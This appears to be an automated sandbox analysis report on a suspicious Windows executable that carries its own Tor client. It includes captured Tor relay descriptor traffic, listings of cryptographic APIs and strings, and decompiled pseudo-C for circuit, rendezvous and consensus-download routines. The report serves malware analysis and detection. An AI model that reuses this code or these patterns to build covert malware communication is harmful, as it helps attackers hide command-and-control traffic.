6f 70 48 58 70 6e 62 50 6d 4b 33 70 6c 30 69 64 4f 2f 66 58 4f 39 55 6f 4c 5a 77 4f 39 6f 59 36 6a 50 4f 65 66 44 63 54 39 6c 36 0a 48 58 39 68 53 79 6d 4d 41 46 58 51 6f 39 65 38 6a 38 32 52 6f 38 31 38 77 55 37 74 76 33 41 4f 55 6b 55 71 41 32 4d 4b 7a 51 39 56 63 44 31 51 53 58 75 2b 47 61 72 6d 39 41 41 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 4d 4a 53 46 6d 78 6e 48 49 35 36 7a 6e 4f 7a 51 4d 4e 5a 4a 65 50 79 32 78 4b 71 4b 52 31 36 5a 32 7a 35 69 74 36 5a 64 49 6e 51 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 30 2d 32 33 20 32 31 3a 31 32 3a 30 34 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 42 33 31 44 20 38 39 38 32 20 33 46 43 41 20 41 43 33 31 20 44 33 45 32 20 31 32 37 43 20 45 35 45 43 20 41 32 36 32 20 38 41 36 43 20 31 41 45 31 0a 75 70 74 69 6d 65 20 33 32 34 30 36 38 0a 62 61 6e 64 77 69 64 74 68 20 32 36 32 31 34 34 30 20 35 32 34 32 38 38 30 20 32 37 36 33 37 37 36 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 44 38 46 41 34 32 30 34 35 38 46 42 42 35 41 46 30 42 34 41 30 41 31 37 36 43 45 30 30 31 31 44 41 33 35 32 44 39 43 43 20 6c 58 4b 4d 4b 55 69 75 56 66 39 4a 71 52 69 53 79 74 49 62 55 4f 6a 34 2f 39 69 73 4f 48 32 6c 77 7a 7a 54 66 44 33 2b 79 76 41 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 4c 71 68 67 6b 63 36 5a 42 63 72 65 66 6e 78 50 5a 45 59 55 6a 64 57 48 2f 42 73 63 62 64 49 44 52 72 77 46 71 76 66 70 72 46 4e 72 6a 6c 7a 6e 43 70 46 35 46 43 0a 48 7a 43 63 52 6f 49 6c 56 4a 64 73 4f 72 7a 4e 56 6b 55 36 6f 72 47 57 73 4e 6b 55 76 46 32 77 56 39 33 52 4a 45 76 52 54 68 41 44 2b 74 4d 34 43 44 63 4e 62 6e 4c 75 36 35 73 78 37 65 55 50 0a 52 43 32 79 70 69 43 4f 64 52 6f 39 35 6e 69 4f 6f 4a 4b 7a 71 55 48 57 77 4e 2f 6b 65 6d 53 61 42 46 64 4a 5a 2f 57 37 4d 79 4b 66 79 4d 62 67 44 57 56 50 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 47 66 4f 62 2f 48 58 79 58 4a 2b 35 Data Ascii: router torflower 138.2.176.225 443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxKSAapNsgxqshueD50gSeSucAQTtRLukS5sruuZUHaPTkZ2AQAgBAAwlIWbGccjnrOc7NAw1kl4/LbEqopHXpnbPmK3pl0idO/fXO9UoLZwO9oY6jPOefDcT9l6HX9hSymMAFXQo9e8j82Ro818wU7tv3AOUkUqA2MKzQ9VcD1QSXu+Garm9AA=-----END ED25519 CERT-----master-key-ed25519 MJSFmxnHI56znOzQMNZJePy2xKqKR16Z2z5it6ZdInQplatform Tor 0.4.7.10 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-10-23 21:12:04fingerprint B31D 8982 3FCA AC31 D3E2 127C E5EC A262 8A6C 1AE1uptime 324068bandwidth 2621440 5242880 2763776extra-info-digest D8FA420458FBB5AF0B4A0A176CE0011DA352D9CC lXKMKUiuVf9JqRiSytIbUOj4/9isOH2lwzzTfD3+yvAonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALLqhgkc6ZBcrefnxPZEYUjdWH/BscbdIDRrwFqvfprFNrjlznCpF5FCHzCcRoIlVJdsOrzNVkU6orGWsNkUvF2wV93RJEvRThAD+tM4CDcNbnLu65sx7eUPRC2ypiCOdRo95niOoJKzqUHWwN/kemSaBFdJZ/W7MyKfyMbgDWVPAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMGfOb/HXyXJ+5
Oct 24, 2022 11:09:35.462960005 CEST	7636	IN	Data Raw: 6f 43 32 6f 58 5a 33 64 4f 55 47 6e 78 39 34 51 48 75 42 34 53 63 64 50 79 76 65 43 35 68 75 46 46 65 58 39 6d 79 45 47 67 55 0a 42 42 78 75 6c 4b 5a 34 68 72 48 2b 4d 67 62 78 64 34 51 31 34 47 6d 48 65 6c 42 68 49 51 48 63 48 73 71 33 67 49 48 Data Ascii: oC2oXZ3dOUGnx94QHuB4ScdPyveC5huFFeX9myEGgUBBxulKZ4hrH+Mgbxd4Q14GmHelBhIQHcHsq3gIHnAqrrxHGRyBeHOvXa0L1vZTfB3yT3k80MfW12EMlJ/UOHyko7tY2yD5p3EkSC2LDcnP3f9KPvvhApAgMBAAE=-----END RSA PUBLIC KEY-----onion-key-crosscert-----BEGIN CROSSCERT-----
Oct 24, 2022 11:09:35.465574980 CEST	7636	IN	Data Raw: 79 4a 79 6c 4d 49 4a 2f 66 39 33 34 7a 35 58 51 74 59 79 35 4e 6c 73 69 79 52 42 64 33 35 79 49 0a 72 65 6a 65 63 74 20 2a 3a 2a 0a 74 75 6e 6e 65 6c 6c 65 64 2d 64 69 72 2d 73 65 72 76 65 72 0a 72 6f 75 74 65 72 2d 73 69 67 2d 65 64 32 35 35 31 Data Ascii: yJylMIJ/f934z5XQtYy5NlsiyRBd35yIreject :tunnelled-dir-serverrouter-sig-ed25519 iiUk4oEolDwga6/LxNEozuulm4CQ4dojN5DSaZEALnyb9W0/VapOuMGbsVZwqM1R0QTqZ0B+2k6TtkuMRSYXBwrouter-signature-----BEGIN SIGNATURE-----MMb9sNZ5zIR2nlt+RqMdxYFIuJwYV

Statistics

High Level Behavior Distribution

Click to dive into process behavior distribution

Disassembly

Reset < >

Analysis Process: SPXp2YHDFz.exePID: 3460, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	43.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	31.6%
Total number of Nodes:	19
Total number of Limit Nodes:	3

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentVariableA.KERNEL32(?,?,?,?,?,?,00007FF61D7810B1), ref: 00007FF61D78275A
LoadLibraryA.KERNEL32(?,?,?,?,?,?,00007FF61D7810B1), ref: 00007FF61D78276B
BCryptOpenAlgorithmProvider.BCRYPT(?,?,?,?,?,?,00007FF61D7810B1), ref: 00007FF61D782785
BCryptSetProperty.BCRYPT ref: 00007FF61D7827AB
BCryptOpenAlgorithmProvider.BCRYPT ref: 00007FF61D7827C5
BCryptSetProperty.BCRYPT ref: 00007FF61D7827EB
BCryptOpenAlgorithmProvider.BCRYPT ref: 00007FF61D782826
BCryptOpenAlgorithmProvider.BCRYPT ref: 00007FF61D782840
BCryptOpenAlgorithmProvider.BCRYPT ref: 00007FF61D78285A
BCryptSetProperty.BCRYPT ref: 00007FF61D782880
BCryptOpenAlgorithmProvider.BCRYPT ref: 00007FF61D78289A
BCryptOpenAlgorithmProvider.BCRYPT ref: 00007FF61D7828B4
BCryptOpenAlgorithmProvider.BCRYPT ref: 00007FF61D7828D1

Strings

ChainingModeECB, xrefs: 00007FF61D7827D2
RNG, xrefs: 00007FF61D782889
ECDH, xrefs: 00007FF61D782849
ChainingMode, xrefs: 00007FF61D78279E, 00007FF61D7827DE
ChainingModeCBC, xrefs: 00007FF61D782792
ECCCurveName, xrefs: 00007FF61D782873
bcrypt_alt_prov, xrefs: 00007FF61D782733
SHA256, xrefs: 00007FF61D7828C0
bcrypt_alt.dll, xrefs: 00007FF61D782764
curve25519, xrefs: 00007FF61D782867
SHA1, xrefs: 00007FF61D7828A3
RSA, xrefs: 00007FF61D7827F8
AES, xrefs: 00007FF61D782774, 00007FF61D7827B4

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: Crypt$AlgorithmOpenProvider$Property$EnvironmentLibraryLoadVariable
String ID: AES$ChainingMode$ChainingModeCBC$ChainingModeECB$ECCCurveName$ECDH$RNG$RSA$SHA1$SHA256$bcrypt_alt.dll$bcrypt_alt_prov$curve25519
API String ID: 2393475537-1894849930
Opcode ID: f874cb0d683a4e347ef30a04b18bbf398921333c48d317d0444699f665546e5e
Instruction ID: 4a8e2fc7a5c7e6717326ecbff7eac32ab5675740f5a6dcda3270c0744c5696c0
Opcode Fuzzy Hash: f874cb0d683a4e347ef30a04b18bbf398921333c48d317d0444699f665546e5e
Instruction Fuzzy Hash: 5141B563E18E0291F7189B28EC95B712360FF99B75F816132D44D96960FF2CA24DC700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D7864C0 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 133
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 24%

			E00007FF67FF61D7864C0(void* __edx, void* __edi, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, void* __r9) {
				void* _t51;
				void* _t58;
				void* _t66;
				long long _t80;
				intOrPtr* _t100;
				void* _t104;
				void* _t106;
				void* _t107;
				void* _t112;
				long long _t114;
				void* _t116;
				intOrPtr _t117;

				_t112 = __r9;
				_t75 = __rbx;
				_t58 = __edx;
				_t66 = _t107;
				_t106 = _t66 - 0x5f;
				 *((long long*)(_t106 + 7)) = 0xfffffffe;
				 *((long long*)(_t66 + 0x10)) = __rbx;
				 *((long long*)(_t66 + 0x18)) = __rsi;
				 *((long long*)(_t66 + 0x20)) = __rdi;
				_t116 = __rdx;
				_t104 = __rcx;
				_t100 =  *((intOrPtr*)(__rcx + 0x40));
				_t117 =  *((intOrPtr*)(__rcx + 0x48));
				if (_t100 == _t117) goto 0x1d786621;
				r12d = 0;
				 *((long long*)(_t106 - 0x49)) =  *((intOrPtr*)(__rdx + 0x10));
				 *((long long*)(_t106 - 0x41)) =  *((intOrPtr*)(__rdx + 0x18));
				asm("movaps xmm0, [ebp-0x49]");
				asm("movdqa [ebp-0x79], xmm0");
				E00007FF67FF61D787EA4(_t106 - 0x19);
				 *((long long*)(_t106 - 0x39)) =  *((intOrPtr*)(_t106 - 0x11));
				 *((long long*)(_t106 - 0x31)) =  *((intOrPtr*)(_t106 - 9));
				asm("movaps xmm0, [ebp-0x39]");
				asm("movdqa [ebp-0x79], xmm0");
				E00007FF67FF61D784604(__rdx);
				_t80 =  *((intOrPtr*)(_t116 + 0x10));
				if ( *((intOrPtr*)(_t80 + 1)) != r12w) goto 0x1d78660a;
				 *((long long*)(_t106 - 0x29)) = _t80;
				 *((long long*)(_t106 - 0x21)) =  *((intOrPtr*)(_t116 + 0x18));
				asm("movaps xmm0, [ebp-0x29]");
				asm("movdqa [ebp-0x79], xmm0");
				_t51 = E00007FF67FF61D78480C( *((intOrPtr*)(_t116 + 0x18)), _t106 - 0x69, _t106 - 0x79);
				 *((intOrPtr*)( *((intOrPtr*)(_t106 - 0x61)) + 5)) = 0;
				E00007FF67FF61D787C94(_t51,  *((intOrPtr*)( *_t100 + 0x10)) + 0xd8, _t106 + 0x67);
				r8d =  *((intOrPtr*)(_t106 - 0x59));
				r8d = r8d - _t58;
				r9d = 0;
				__imp__CryptHashData();
				E00007FF67FF61D787188( *((intOrPtr*)(_t80 + 1)) - r12w, __rbx, _t106 + 0x67, _t106 + 0xf, _t106 - 0x79);
				if ( *((intOrPtr*)( *((intOrPtr*)(_t106 + 0x17)))) ==  *((intOrPtr*)( *((intOrPtr*)(_t116 + 0x10)) + 5))) goto 0x1d786662;
				free(??);
				if ( *((intOrPtr*)(_t106 + 0x67)) == 0) goto 0x1d7865ff;
				__imp__CryptDestroyHash();
				 *((long long*)(_t106 + 0x67)) = _t114;
				free(??);
				free(??);
				if (_t100 + 8 != _t117) goto 0x1d786505;
				E00007FF67FF61D781720(3, __edi, 0x1d79d010, "circuit::handle_cell() cannot decrypt relay cell, destroying circuit\n", _t112);
				return E00007FF67FF61D785038(_t75, _t104, _t106 + 0xf, _t104);
			}

0x7ff61d7864c0
0x7ff61d7864c0
0x7ff61d7864c0
0x7ff61d7864c0
0x7ff61d7864cc
0x7ff61d7864d7
0x7ff61d7864df
0x7ff61d7864e3
0x7ff61d7864e7
0x7ff61d7864eb
0x7ff61d7864ee
0x7ff61d7864f1
0x7ff61d7864f5
0x7ff61d7864fc
0x7ff61d786502
0x7ff61d786518
0x7ff61d78651c
0x7ff61d786520
0x7ff61d786524
0x7ff61d786531
0x7ff61d78653b
0x7ff61d786543
0x7ff61d786547
0x7ff61d78654b
0x7ff61d786557
0x7ff61d78655c
0x7ff61d786565
0x7ff61d78656f
0x7ff61d786573
0x7ff61d786577
0x7ff61d78657b
0x7ff61d786588
0x7ff61d786594
0x7ff61d7865a9
0x7ff61d7865af
0x7ff61d7865b7
0x7ff61d7865ba
0x7ff61d7865c1
0x7ff61d7865cf
0x7ff61d7865db
0x7ff61d7865e5
0x7ff61d7865f3
0x7ff61d7865f5
0x7ff61d7865fb
0x7ff61d786603
0x7ff61d78660e
0x7ff61d78661b
0x7ff61d786634
0x7ff61d786661

APIs

Part of subcall function 00007FF61D784604: free.MSVCRT ref: 00007FF61D784668

CryptHashData.ADVAPI32 ref: 00007FF61D7865C1

Part of subcall function 00007FF61D787188: CryptGetHashParam.ADVAPI32 ref: 00007FF61D7871DD

free.MSVCRT ref: 00007FF61D7865E5
CryptDestroyHash.ADVAPI32 ref: 00007FF61D7865F5
free.MSVCRT ref: 00007FF61D786603
free.MSVCRT ref: 00007FF61D78660E
CryptHashData.ADVAPI32 ref: 00007FF61D786677
free.MSVCRT ref: 00007FF61D786682
CryptDestroyHash.ADVAPI32 ref: 00007FF61D786692
free.MSVCRT ref: 00007FF61D7866A0
free.MSVCRT ref: 00007FF61D7866AB

Part of subcall function 00007FF61D787C94: CryptDuplicateHash.ADVAPI32 ref: 00007FF61D787CBE

Strings

circuit::handle_cell() cannot decrypt relay cell, destroying circuit, xrefs: 00007FF61D786621

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: free$CryptHash$DataDestroy$DuplicateParam
String ID: circuit::handle_cell() cannot decrypt relay cell, destroying circuit
API String ID: 129615695-1619389320
Opcode ID: b08de4cf301ceb97a05c9742a8f564e99fcad656c4f5b032f7691cc57b6ac967
Instruction ID: d71e81c92512f7945e2d7e1a53f3515451c384468756b069805179830c1ff3f7
Opcode Fuzzy Hash: b08de4cf301ceb97a05c9742a8f564e99fcad656c4f5b032f7691cc57b6ac967
Instruction Fuzzy Hash: 7A510572B05F419AEB04DBB5E8505AC2375FB48FA8B405132DE4EA3B68EF34E55AD340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D788EE0 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 170
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			E00007FF67FF61D788EE0(void* __ecx, void* __edi, void* __esi, long long __rbx, intOrPtr* __rcx, long long __rdi, long long __rsi, void* __r9) {
				void* _t61;
				void* _t66;
				void* _t75;
				void* _t76;
				void* _t99;
				signed long long _t107;
				signed long long _t111;
				signed long long _t113;
				long long _t115;
				intOrPtr* _t151;
				void* _t153;
				void* _t154;
				void* _t164;
				void* _t166;
				signed long long _t170;
				intOrPtr _t176;
				intOrPtr _t177;

				_t164 = __r9;
				_t108 = __rbx;
				_t87 = __edi;
				_t75 = __ecx;
				_t99 = _t154;
				_t153 = _t99 - 0x5f;
				 *((long long*)(_t153 - 0x59)) = 0xfffffffe;
				 *((long long*)(_t99 + 0x10)) = __rbx;
				 *((long long*)(_t99 + 0x18)) = __rsi;
				 *((long long*)(_t99 + 0x20)) = __rdi;
				_t151 = __rcx;
				 *((long long*)(__rcx + 0x68)) =  *((intOrPtr*)(__rcx + 0x60));
				asm("xorps xmm0, xmm0");
				asm("movdqu [ebp-0x49], xmm0");
				 *((long long*)(_t153 - 0x39)) = __rbx;
				asm("movdqu [ebp-0x29], xmm0");
				 *((long long*)(_t153 - 0x19)) = __rbx;
				asm("movdqu [ebp-0x9], xmm0");
				 *((long long*)(_t153 + 7)) = __rbx;
				_t13 = _t108 + 0x20; // 0x20
				 *((short*)(_t153 + 0xf)) = _t13;
				_t15 = _t153 - 0x51; // 0x7ff61d784ced
				_t16 = _t153 - 0x79; // 0x7ff61d784cc5
				E00007FF67FF61D7883D4(__rbx,  *((intOrPtr*)(__rcx + 0x10)), _t16, _t15);
				free(??);
				free(??);
				free(??);
				r12b = 0;
				r8b = r12b;
				_t20 = _t153 + 0x17; // 0x7ff61d784d55
				_t61 = E00007FF67FF61D789268(_t76, _t108, _t151, _t20, __rdi, _t151);
				_t21 = _t153 - 0x71; // 0xd9f748ff418d48c8
				_t177 =  *_t21;
				_t22 = _t153 - 0x69; // 0x349d02348d21b48
				_t111 =  *_t22 - _t177 >> 3;
				if (_t111 <= 0) goto 0x1d788fe9;
				_t170 = _t111 >> 1;
				 *((long long*)(_t153 + 0x67)) = _t177 + _t170 * 8;
				_t28 = _t153 + 0x1f; // 0xbbd08b48fffffc87
				0x1d79024d();
				if (_t61 >= 0) goto 0x1d788fdd;
				goto 0x1d788fe0;
				_t113 = _t170;
				if (_t113 > 0) goto 0x1d788fa0;
				E00007FF67FF61D7889E4(_t113, _t151 + 0x58, _t177 +  *_t28 * 8, _t151);
				if (_t113 + 1 - 3 >= 0) goto 0x1d789024;
				goto 0x1d788ff5;
				free(??);
				r12b = r12b + 1;
				if (r12b - 2 < 0) goto 0x1d788f76;
				free(??);
				_t107 =  *((intOrPtr*)(_t151 + 0x68)) -  *((intOrPtr*)(_t151 + 0x60));
				if ((_t107 & 0xfffffff8) == 0) goto 0x1d78912d;
				_t115 = _t151 + 0x98;
				__imp__CryptGenRandom();
				_t176 =  *_t151;
				 *((long long*)(_t153 - 0x79)) = _t115;
				 *((long long*)(_t153 - 0x71)) = _t115 + 0x14;
				r9d =  *((intOrPtr*)(_t176 + 8));
				E00007FF67FF61D781720(0, __edi, 0x1d79d010, "circuit::rendezvous_establish() [circuit: %X, state: establishing]\n", _t164);
				 *((intOrPtr*)(_t176 + 0xc)) = 7;
				asm("movaps xmm0, [ebp-0x79]");
				asm("movdqa [ebp-0x79], xmm0");
				 *((char*)(_t154 - 0xe0 + 0x20)) = 3;
				_t53 = _t153 - 0x79; // 0x7ff61d784cc5
				r8b = 0x21;
				E00007FF67FF61D785C58(_t75, 0, __esi, 0x1d79d010, _t176, _t115 + 0x14, _t151, _t53); // executed
				r8d = 0x7530;
				_t66 = E00007FF67FF61D786248(8, 0x1d79d010, _t176, _t115 + 0x14, _t151); // executed
				r9d =  *((intOrPtr*)(_t176 + 8));
				if (_t66 != 0) goto 0x1d78911c;
				E00007FF67FF61D781720(0, _t87, 0x1d79d010, "circuit::rendezvous_establish() [circuit: %X, state: established]\n", _t53);
				goto 0x1d789105;
				if (E00007FF67FF61D78996C(_t87, 0x1d79d010, _t151, _t115 + 0x14, _t151) != 0) goto 0x1d789118;
				E00007FF67FF61D789354(0x1d79d010, _t151, 0x1d79d010, _t115 + 0x14, _t151, _t53, _t166); // executed
				if (_t107 != 0xffffffff) goto 0x1d7890f6;
				goto 0x1d78912d;
				goto 0x1d78912f;
				E00007FF67FF61D781720(3, _t87, _t151, "circuit::rendezvous_establish() [circuit: %X, state: not established]\n", _t53);
				return 0;
			}

0x7ff61d788ee0
0x7ff61d788ee0
0x7ff61d788ee0
0x7ff61d788ee0
0x7ff61d788ee0
0x7ff61d788eec
0x7ff61d788ef7
0x7ff61d788eff
0x7ff61d788f03
0x7ff61d788f07
0x7ff61d788f0b
0x7ff61d788f16
0x7ff61d788f1e
0x7ff61d788f21
0x7ff61d788f28
0x7ff61d788f2c
0x7ff61d788f31
0x7ff61d788f35
0x7ff61d788f3a
0x7ff61d788f3e
0x7ff61d788f41
0x7ff61d788f45
0x7ff61d788f49
0x7ff61d788f4d
0x7ff61d788f57
0x7ff61d788f62
0x7ff61d788f6d
0x7ff61d788f73
0x7ff61d788f76
0x7ff61d788f79
0x7ff61d788f80
0x7ff61d788f86
0x7ff61d788f86
0x7ff61d788f8d
0x7ff61d788f97
0x7ff61d788f9e
0x7ff61d788fa3
0x7ff61d788faa
0x7ff61d788fbc
0x7ff61d788fc0
0x7ff61d788fc7
0x7ff61d788fdb
0x7ff61d788fdd
0x7ff61d788fe3
0x7ff61d78900c
0x7ff61d789018
0x7ff61d789022
0x7ff61d789028
0x7ff61d78902e
0x7ff61d789035
0x7ff61d78903f
0x7ff61d789049
0x7ff61d789053
0x7ff61d789059
0x7ff61d789072
0x7ff61d789078
0x7ff61d78907b
0x7ff61d78907f
0x7ff61d789083
0x7ff61d78909a
0x7ff61d78909f
0x7ff61d7890a7
0x7ff61d7890ab
0x7ff61d7890b2
0x7ff61d7890b7
0x7ff61d7890bb
0x7ff61d7890c1
0x7ff61d7890cb
0x7ff61d7890d4
0x7ff61d7890d9
0x7ff61d7890e2
0x7ff61d7890ed
0x7ff61d7890f4
0x7ff61d789100
0x7ff61d789108
0x7ff61d789114
0x7ff61d789116
0x7ff61d78911a
0x7ff61d789128
0x7ff61d78914f

APIs

free.MSVCRT ref: 00007FF61D788F57
free.MSVCRT ref: 00007FF61D788F62
free.MSVCRT ref: 00007FF61D788F6D

Part of subcall function 00007FF61D789268: free.MSVCRT ref: 00007FF61D789328
Part of subcall function 00007FF61D789268: free.MSVCRT ref: 00007FF61D789333

memcmp.MSVCRT ref: 00007FF61D788FC0

Part of subcall function 00007FF61D781720: GetCurrentThreadId.KERNEL32 ref: 00007FF61D781743
Part of subcall function 00007FF61D781720: GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF61D7888EE), ref: 00007FF61D781750
Part of subcall function 00007FF61D781720: _cwprintf_s_l.LIBCMT ref: 00007FF61D781791

free.MSVCRT ref: 00007FF61D789028
free.MSVCRT ref: 00007FF61D78903F
CryptGenRandom.ADVAPI32 ref: 00007FF61D789072

Strings

circuit::rendezvous_establish() [circuit: %X, state: establishing], xrefs: 00007FF61D789087
circuit::rendezvous_establish() [circuit: %X, state: established], xrefs: 00007FF61D7890E4
circuit::rendezvous_establish() [circuit: %X, state: not established], xrefs: 00007FF61D78911C

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: free$CryptCurrentLocalRandomThreadTime_cwprintf_s_lmemcmp
String ID: circuit::rendezvous_establish() [circuit: %X, state: established]$circuit::rendezvous_establish() [circuit: %X, state: establishing]$circuit::rendezvous_establish() [circuit: %X, state: not established]
API String ID: 2405295690-2993231946
Opcode ID: 0b609504df66f914cd24a682aa1d4c19268fcb2a8e13c27783736d9f868921f4
Instruction ID: 7169308adf9b4512337d9454c9f5bd8ef47961f634911531c24dea2790e04e17
Opcode Fuzzy Hash: 0b609504df66f914cd24a682aa1d4c19268fcb2a8e13c27783736d9f868921f4
Instruction Fuzzy Hash: DA717C26B04E4285EB10CF76E8041ED6361FB49FB8B545232DE5DA7B95EF38E54AC340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D788738 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 157
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 28%

			E00007FF67FF61D788738(void* __eax, void* __ecx, long long __rbx, signed short* __rcx, long long __rdx, long long __rsi, intOrPtr* __r8) {
				void* _t85;
				void* _t88;
				void* _t107;
				void* _t110;
				signed short* _t122;
				signed short* _t130;
				intOrPtr _t135;
				void* _t165;
				void* _t171;
				void* _t172;
				void* _t174;
				void* _t175;
				long long _t187;
				void* _t190;
				void* _t193;
				void* _t197;
				long long _t198;

				_t169 = __rsi;
				_t130 = __rcx;
				_t110 = _t174;
				 *((long long*)(_t110 + 0x10)) = __rdx;
				_t172 = _t110 - 0x5f;
				_t175 = _t174 - 0x100;
				 *((long long*)(_t172 - 0x59)) = 0xfffffffe;
				 *((long long*)(_t110 + 8)) = __rbx;
				 *((long long*)(_t110 + 0x20)) = __rsi;
				_t198 = __rdx;
				_t122 = __rcx;
				 *((intOrPtr*)(_t175 + 0x30)) = 0;
				_t107 = r9b;
				if (_t107 != 0) goto 0x1d78885a;
				if (_t107 == 0) goto 0x1d78885a;
				_t13 = _t130 + 8; // 0x9
				E00007FF67FF61D788AC0(__rcx, _t172 - 0x51, _t13, __rsi, _t197);
				asm("xorps xmm0, xmm0");
				asm("movdqu [ebp-0x29], xmm0");
				 *(_t172 - 0x19) = _t165;
				asm("movdqu [ebp-0x9], xmm0");
				 *(_t172 + 7) = _t165;
				 *((short*)(_t172 + 0xf)) =  *_t122 & 0x0000ffff;
				E00007FF67FF61D7883D4(_t122, _t122, _t172 - 0x79, _t172 - 0x51, _t193);
				__imp__CryptGenRandom();
				_t135 =  *((intOrPtr*)(_t172 - 0x71));
				if (( *((intOrPtr*)(_t172 - 0x69)) - _t135 & 0xfffffff8) == 0) goto 0x1d788825;
				free(_t190);
				free(_t165);
				free(_t171);
				free(??);
				r14d =  *( *((intOrPtr*)(_t135 + (_t172 + 0x7f) * 8)) + 0x5e) & 0x0000ffff;
				goto 0x1d7888a3;
				__imp__CryptGenRandom();
				__imp__#12(); // executed
				E00007FF67FF61D781BA8(0x1d793400, _t172 - 0x79);
				 *((intOrPtr*)(_t175 + 0x30)) = 2;
				 *((long long*)(_t175 + 0x28)) =  *((intOrPtr*)(__r8));
				 *(_t175 + 0x20) = r14w & 0xffffffff;
				_t85 = E00007FF67FF61D781720(0, 0, 0x1d79d010, "consensus::download_from_random_authority() [path: http://%s:%u%s]\n",  *((intOrPtr*)(0x7ff61d793408)));
				 *((intOrPtr*)(_t175 + 0x30)) = 2;
				E00007FF67FF61D781BDC(_t85, _t172 - 0x79);
				asm("inc ecx");
				asm("movdqu [ebp-0x79], xmm0");
				__imp__#12(); // executed
				E00007FF67FF61D781BA8(0x1d793400, _t172 + 0x17);
				 *((intOrPtr*)(_t175 + 0x30)) = 2;
				_t187 =  *((intOrPtr*)(0x7ff61d793408));
				asm("dec eax");
				 *((long long*)(_t175 + 0x40)) = _t187;
